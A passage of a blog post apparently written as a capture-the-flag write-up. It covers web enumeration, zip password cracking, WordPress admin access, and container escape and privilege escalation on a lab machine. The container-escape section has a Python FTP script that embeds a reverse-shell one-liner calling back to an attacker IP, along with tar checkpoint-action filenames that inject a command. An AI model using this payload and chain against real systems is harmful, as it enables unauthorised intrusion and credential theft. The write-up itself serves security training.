enumerating a web service. Developers usually hide sensitive directories like admin panels and backups that are needed to run the service properly.</li><li>Research, research, and more research. Yes, you did hear correctly. Tools wouldn’t give us everything we need. We need to use all of the information that is available to us in public. Example: finding out what vulnerabilities affect the technologies used to make these HTTP services.</li></ul><p>To successfully enumerate our target HTTP service, we will now go through these steps one by one.</p><h4>Manually surfing webpage and source code review</h4><p>We just type in the IP address or domain name of our target into our browser to look at it. Sadly, we didn’t find anything useful. As shown below, the page was just a simple portfolio.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQ5caRHMD8ADVoVTWxgMNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfFd12edHy5LLDpozr-zcg.png" /></figure><h4>Discovering Web Technology Stack</h4><p>We’ll utilize the “wappalyzer” tool to learn what technological resources were employed to create this target’s web service. It’s a simple browser add-on that shows what tools were used to make any website.</p><blockquote>I also recommend using another service called “builtwith.com” to find even more details to the tools used in any web service development. This tool will be more useful in a real-world pen-test project.</blockquote><blockquote>Using more than one tool is to check for false positives</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HTv_ED9F-V1OWsXqE9opXg.png" /></figure><p>With the help of the wappalyzer tool, we found that only the Nginix web server is used to serve websites and act as a reverse proxy.</p><p><strong>What is Nginix Webserver?</strong></p><p>It’s primarily a piece of software for serving websites. Aside from its basic functions, it can also be used as an email and a web proxy.</p><p>What is a Reverse Proxy?</p><p>It is a type of server or program that sits in front of one or more web servers. It intercepts and checks incoming client requests before sending them to the web server and sending back the server’s response.</p><blockquote>Nginix as a reverse proxy normally signifies that the service maybe allowing access to other web services via different port or vhost</blockquote><h4>Discovering VHOST</h4><p>To discover virtual host, we will use the “gobuster tool”. This tool allows us to brute-force web directories and vhost by providing it with wordlist.</p><blockquote>For all your wordlist i recommend you to have these two: rockyou.txt and SecList from github</blockquote><p>To use the gobuster for vhost discovery, use the command below</p><pre>-w stands for wordlist<br>- vhost keyword tells gobuster to perform a vhost discovery<br><br>gobuster vhost -w [provide path to wordlist] --url [provide url of target]</pre><p>Finally, a vhost was found as shown above. This provides us the opportunity to further brute-force directories of this particular vhost. We will still use the gobuster tool using the command below</p><pre>- w stands for wordlist<br>- dir keyword tells the gobuster to carry out a web directory brute-force<br><br>gobuster dir -w [provide wordlist] --url [provide target url] </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*sGFxAHbGA-Wc_luL0hvP_g.png" /></figure><p>Also we do not forsake brute-forcing directories on the target URL. So we continue that with the same gobuster tool as below</p><pre>- w stands for wordlist<br>- dir keyword tells the gobuster to carry out a web directory brute-force<br><br>gobuster dir -w [provide wordlist] --url [provide target url]</pre><p>We also found some very sensitive on this URL as well. This is shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*MLdgUf5BmQlXt3XE4MdHXw.png" /></figure><p>At last we have found some directories in both the main URL and vhost of the target web service as seen above. Now let’s go into them and see what we have.</p><p>At jeff, we didn’t find anything interesting. /uploads has an upload form that does nothing, /admin and /backups are empty, and /assets gives us a 403 (Forbidden) message, but we found another /backup path that ends in.zip.</p><p>By this observation, we will now perform a recursive directory brute-force on each of the directories discovered and search for extensions as well. To do this, we simple append the directory as below</p><pre># example we have discovered /admin<br># as such we will make our url as below<br><br>gobuster dir [ip of target]/admin -w [path to wordlist]<br><br>gobuster dir [ip of target]/uploads -w [path to wordlist]<br><br>gobuster dir [ip of target]/backup -w [path to wordlist]</pre><p>By doing this, we found a backup.zip. This /backup.zip can be downloaded but we needed a password to open it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*Hk1Vhr9EG_qLNWN4JhUh_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*7LpaHVmnsDgUo5KQL14_fQ.png" /></figure><blockquote>Whoops, there’s a cracking zipper!</blockquote><h4><strong>Cracking Zip File</strong></h4><p>Let’s get introduced to tool to crack zip files. We will be using the john suites of tools. The zip2john tool will be used to obtain the hash of the file to allow us to crack.</p><p>To do this, use the command below</p><pre>- Giving a filename that does not exist for hash to be stored will create it.<br><br>zip2john [path to protected zipfile] &gt; [file to redirect hash into]</pre><p>After getting the hash, we will use john to crack the password using the “rockyou.txt” dictionary file as shown below</p><pre>john [path to hash file] --wordlist=[path to dictonary file]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*qXBvbPsV062iaNhk4JuBKg.png" /></figure><p>In just a few minutes, we successfully crack the password as shown above. Next we will use that password to open the zip file and find out what it contains.</p><p>Looking into the backup directory, we found a file that had a WordPress password in plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*xIPgd7ns3d6ujOkfImgACQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*aZXNYDNQRMK2vzgZ-Zz4HA.png" /></figure><p>With the password, we know it’s a wordpress. As such we will use this to log into the WordPress site using the admin URL we discovered earlier as below</p><p>By using the username “jeff” and password we found in the “wpadmin.bak” file, we successfully accesed the admin panel. Now all we need to do is find a way to get a reverse-shell.</p><p>I did a little research on how to get reverse shells once you are logged into a user account in wordpress. The information was great. Find it here</p><h4>Getting a Reverse-Shell</h4><p>After many try on first inserting reverse shells scripts in the WordPress theme and Akismet plugin, we</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2DvyBqrR_XYnG7AnpXoOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ShKH_6p6Q12M63ourVxpaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uoOQ88tBGtJtn0x8-WTeFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XNTEW2GQRQfev_ibmNjG4g.png" /><figcaption>Errors generated after inserting reverse shell in theme and akismet plugin</figcaption></figure><p>By downloading and uploading a vulnerable plugin from here, we were able to get a metepreter reverse shell as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHwxVc5MlddL-IYhQ04-zA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*nyO6zJUybTfFnysx8zbo_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*MZfN0l77UD_RKc2zGWxiaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*3L-QgMllqV1X42t0B2rcrw.png" /></figure><h3>Escalating Privileges</h3><p>By navigating to “/home”, we found no user directory. This should mean we are probably in an isolated environment such as docker containers.</p><blockquote>You could also look for a .dockerenv file that will prove you are in a container environment</blockquote><p>After examining the /var/www/html directory, we discovered a backup.php script that held sensitive information and seemed to link to an FTP server. As seen below, we will use this script to construct our own custom script to connect to the FTP service and launch a reverse shell again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*CSx4R8VXpBpGzNCUPX_6qA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*TPC9JfUJV31zElYf2yPZSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*x3eC2tKm6-f2rQEk9n05wQ.png" /></figure><p>To construct a script that connects to the FTP service, we will utilize the ftplib module of Python.</p><blockquote>At this point, i didn’t have to stress writing custom scripts again, i found some nice scripts from GitHub and edited it for as below</blockquote><pre>#!/usr/bin/env python3.7 <br> <br>from ftplib import FTP <br>import os<br>import fileinput<br>import io<br> <br>ftpHost = &quot;172.20.0.1&quot; # this is the host that is allowing ftp connection<br>ftpUsername = &quot;backupmgr&quot;<br>ftpPassword = [enter password here]<br> <br>ftpConnection = FTP(host=host)<br> <br>login_status = ftp.login(user=username, passwd=password)<br>print(login_status)<br>ftp.set_pasv(False)<br>ftp.cwd(&#39;files&#39;)<br>print(ftp.dir())<br><br>#once a ftp login is successful we implement a reverse shell here. <br>#This is allow us to get a shell as use in the ftp server.<br>#You will need to provide your IP and Desired port for reverse shell in the script<br>rev = io.BytesIO(b&#39;python3 -c \&#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;[replace with your IP]&quot;[ENTER YOUR PORT HERE]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);\&#39;&#39;)<br>emptyFile = io.BytesIO(b&#39;&#39;)<br>ftp.storlines(&#39;STOR rev.sh&#39;, rev)<br>ftp.storlines(&#39;STOR --checkpoint=1&#39;, emptyFile)<br>ftp.storlines(&#39;STOR --checkpoint-action=exec=sh rev.sh&#39;, emptyFile)<br>ftp.dir()<br> <br>ftp.quit()</pre><p>After executing the script, a reverse shell was created for the “backupmgr” user. Currently, we are outside of the docker container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*ZsTK54fQ9OMgcuxbw5DK8A.png" /></figure><p>We then went into jeff&#39;s home directory, which was located under /home. We can&#39;t move in, however.</p><blockquote>What do we do then?</blockquote><p>To find jeff user files, we’ll utilize “Find.” Below is our command.</p><pre>#We are starting from the root(/) dir <br><br>find / -user jeff </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*a5mZuq677K8xc6Tseq5F_g.png" /></figure><p>As demonstrated above, the find command gave us a binary and backup file owned by jeff and only readable by him and ‘pwman’. Well, reading that file also produced “permission denied”.</p><blockquote>At this point i remembered the little research i conducted on ways to escalate privileges in my previous CTFs and the next thing i had in mind is to look for files belonging to jeff that had SUID bit set</blockquote><p>By retrieving a lengthy list (ls -l) of “Jefffiles, “‘s we notice that “/opt/systools/systool” has an SGID bit set, allowing us to execute it with “pwnman’s” group rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*GEZsfMiH1gYf4NB91FalNA.png" /></figure><p>We used the ltrace tool and we had some useful information on what this file was doing as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*Qs9hiC0bX9JIud5AdZea1A.png" /><figcaption>Gibberish text when cat command is used</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*TehYS3gIH7q4NuteyoIApg.png" /><figcaption>Better output by using ltrace</figcaption></figure><p>We discovered another full-read txt file. It explained how to use “systool” binary file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*l3se9BtbDlYIAoce86IHHA.png" /></figure><p>Again, the binary file scans the message.txt file for Jeff’s password when we pick option 2.<br>We’ll link message.txt to jeff.bak to make sure the program sees Jeff’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*LrO5pypKv5N7rIXWKvh_zQ.png" /></figure><h4>Exploitating the Binary</h4><p>Now, let’s run systool and look at jeff.bak to see what information we can get. By choosing choice 2, we were able to see Jeff’s password, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*f79gJDHXTmpD0vb_o0PuWg.png" /></figure><p>We can now use the password we found to ssh into the user jeff and get the user.txt flag.</p><p>At this point, the next thing we need to do is switch to the root user. To do this, we will use the sudo -l command to find out what the user jeff is allowed to do, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*v7HXWlvjxoC31Yxr2HcEAQ.png" /></figure><p>We could see that the user has full permissions on the /usr/bin/crontab. As such we will proceed to investigate that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*sZo7OkOMaq9_HIHH3QsHbw.png" /></figure><p>We can see Jeff is able to run crontab with sudo.<br>We can now use crontab -e so insert our code to run within a given time as above.</p><p>Once we are done, we will executive the crontab with sudo using command below</p><pre>crontab -e</pre><p>This spawn a root shell for us and we should find the root.txt file easily.</p><h3>WHAT LESSONS DID WE GET FROM THIS CHALLENGE?</h3><ul><li>How to crack zip files using zip2john and john tool</li><li>How to exploit a WordPress for reverse shell after logging in to the admin panel</li><li>How to identify if you are in a container environment</li><li>How to write an FTP login script using python ftplib module</li></ul><p>Have suggestions ? I am open for communications and opportunities. Connect with me on <a href="https://www.linkedin.com/in/newman-mortey/"><strong>LinkedIn</strong></a>,</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e0fe93c7be" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>